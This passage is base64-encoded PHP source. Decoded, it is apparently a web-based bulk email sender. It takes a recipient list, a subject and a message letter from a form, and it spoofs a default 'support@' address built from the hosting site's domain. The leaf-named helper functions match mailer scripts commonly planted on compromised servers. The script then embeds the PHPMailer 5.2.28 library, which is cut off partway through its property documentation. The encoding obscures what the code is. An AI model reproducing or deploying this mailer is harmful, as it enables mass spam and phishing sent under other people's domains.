ZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdA